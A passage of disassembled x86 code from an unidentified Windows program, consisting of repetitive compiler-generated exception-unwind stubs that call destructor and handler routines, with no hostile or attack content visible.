[ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C490 proc near ; DATA XREF: sub_41C490+2o mov eax, offset dword_4420E8 jmp sub_437AB8 SEH_41C490 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-10Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C0EB: ; DATA XREF: ___:0044216Co lea ecx, [ebp-0DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_4014BA ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-110h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41C710 proc near ; DATA XREF: sub_41C710+2o mov eax, offset dword_442140 jmp sub_437AB8 SEH_41C710 endp ; --------------------------------------------------------------------------- db 59h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C278: ; DATA XREF: ___:00442274o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D640 proc near ; DATA XREF: sub_41D640+2o mov eax, offset dword_442248 jmp sub_437AB8 SEH_41D640 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C2B8: ; DATA XREF: ___:004422BCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D6D0 proc near ; DATA XREF: sub_41D6D0+2o mov eax, offset dword_442290 jmp sub_437AB8 SEH_41D6D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D770 proc near ; DATA XREF: sub_41D770+2o mov eax, offset dword_4422D8 jmp sub_437AB8 SEH_41D770 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 50h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 65h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41D860 proc near ; DATA XREF: sub_41D860+2o mov eax, offset dword_442330 jmp sub_437AB8 SEH_41D860 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1140h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1158h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C3F2: ; DATA XREF: sub_41D930+8o mov eax, offset dword_442388 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E240 proc near ; DATA XREF: sub_41E240+2o mov eax, offset dword_4423E0 jmp sub_437AB8 SEH_41E240 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E500 proc near ; DATA XREF: sub_41E500+2o mov eax, offset dword_442420 jmp sub_437AB8 SEH_41E500 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-48h] jmp sub_401825 ; --------------------------------------------------------------------------- loc_43C488: ; DATA XREF: ___:0044249Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_401253 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41E760 proc near ; DATA XREF: sub_41E760+8o mov eax, offset dword_442470 jmp sub_437AB8 SEH_41E760 endp ; --------------------------------------------------------------------------- asc_43C4EA db '̸',0 aD db '%D',0 ; --------------------------------------------------------------------------- jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1974h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C52B: ; DATA XREF: ___:0044258Co lea ecx, [ebp-195Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1944h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-198Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-192Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1914h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18E4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41F030 proc near ; DATA XREF: sub_41F030+8o mov eax, offset dword_442560 jmp sub_437AB8 SEH_41F030 endp ; --------------------------------------------------------------------------- db 28h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C5C8: ; DATA XREF: ___:0044260Co lea ecx, [ebp-64h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41F960 proc near ; DATA XREF: sub_41F960+2o mov eax, offset dword_4425E0 jmp sub_437AB8 SEH_41F960 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-424h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- dw 8D8Dh dd 0FFFFFBB4h, 2E83E990h db 0C5h, 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4201F0 proc near ; DATA XREF: sub_4201F0+2o mov eax, offset dword_442618 jmp sub_437AB8 SEH_4201F0 endp ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-112Ch] jmp sub_401A82 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420630 proc near ; DATA XREF: sub_420630+8o mov eax, offset dword_442658 jmp sub_437AB8 SEH_420630 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-4FCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C64B: ; DATA XREF: ___:004426B4o lea ecx, [ebp-434h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4208E0 proc near ; DATA XREF: sub_4208E0+2o mov eax, offset dword_442688 jmp sub_437AB8 SEH_4208E0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C67B: ; DATA XREF: ___:004426ECo lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C683: ; DATA XREF: ___:004426F4o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C68B: ; DATA XREF: ___:004426FCo lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C6A3: ; DATA XREF: ___:00442714o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C6BB: ; DATA XREF: ___:0044272Co lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C6D3: ; DATA XREF: ___:00442744o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C6EB: ; DATA XREF: ___:0044275Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C6FB: ; DATA XREF: ___:0044276Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C70B: ; DATA XREF: ___:0044277Co lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_420F10 proc near ; DATA XREF: sub_420F10+8o mov eax, offset dword_4426C0 jmp sub_437AB8 SEH_420F10 endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422750 proc near ; DATA XREF: sub_422750+2o mov eax, offset dword_4427A8 jmp sub_437AB8 SEH_422750 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax mov ecx, [ebp-10h] push ecx call j_nullsub_11 add esp, 8 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4227E0 proc near ; DATA XREF: sub_4227E0+2o mov eax, offset dword_4427D8 jmp sub_437AB8 SEH_4227E0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4228F0 proc near ; DATA XREF: sub_4228F0+2o mov eax, offset dword_442808 jmp sub_437AB8 SEH_4228F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-624h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-788h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_422B40 proc near ; DATA XREF: sub_422B40+8o mov eax, offset dword_442858 jmp sub_437AB8 SEH_422B40 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-434h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4253C0 proc near ; DATA XREF: sub_4253C0+2o mov eax, offset dword_4428E0 jmp sub_437AB8 SEH_4253C0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426C70 proc near ; DATA XREF: sub_426C70+2o mov eax, offset dword_442910 jmp sub_437AB8 SEH_426C70 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C9C4: ; DATA XREF: ___:00426EC2o mov eax, offset dword_442960 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014CE ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427740 proc near ; DATA XREF: sub_427740+2o mov eax, offset dword_442A40 jmp sub_437AB8 SEH_427740 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43CA28: ; DATA XREF: ___:00442A9Co mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4277B0 proc near ; DATA XREF: sub_4277B0+2o mov eax, offset dword_442A70 jmp sub_437AB8 SEH_4277B0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43CA78: ; DATA XREF: ___:00442AECo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427850 proc near ; DATA XREF: sub_427850+2o mov eax, offset dword_442AC0 jmp sub_437AB8 SEH_427850 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427990 proc near ; DATA XREF: sub_427990+2o mov eax, offset dword_442B10 jmp sub_437AB8 SEH_427990 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014CE ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427C90 proc near ; DATA XREF: sub_427C90+2o mov eax, offset dword_442B40 jmp sub_437AB8 SEH_427C90 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427D50 proc near ; DATA XREF: sub_427D50+2o mov eax, offset dword_442B70 jmp sub_437AB8 SEH_427D50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014CE ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4281A0 proc near ; DATA XREF: sub_4281A0+2o mov eax, offset dword_442BA0 jmp sub_437AB8 SEH_4281A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428260 proc near ; DATA XREF: sub_428260+2o mov eax, offset dword_442BD0 jmp sub_437AB8 SEH_428260 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014CE ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428880 proc near ; DATA XREF: sub_428880+2o mov eax, offset dword_442C00 jmp sub_437AB8 SEH_428880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428940 proc near ; DATA XREF: sub_428940+2o mov eax, offset dword_442C30 jmp sub_437AB8 SEH_428940 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4290B0 proc near ; DATA XREF: sub_4290B0+2o mov eax, offset dword_442C60 jmp sub_437AB8 SEH_4290B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43CBC8: ; DATA XREF: ___:00442CBCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429120 proc near ; DATA XREF: sub_429120+2o mov eax, offset dword_442C90 jmp sub_437AB8 SEH_429120 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43CC28: ; DATA XREF: ___:00442D14o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4291E0 proc near ; DATA XREF: sub_4291E0+2o mov eax, offset dword_442CE8 jmp sub_437AB8 SEH_4291E0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CC88: ; DATA XREF: ___:00442D6Co mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429450 proc near ; DATA XREF: sub_429450+2o mov eax, offset dword_442D40 jmp sub_437AB8 SEH_429450 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014BA ; --------------------------------------------------------------------------- lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h 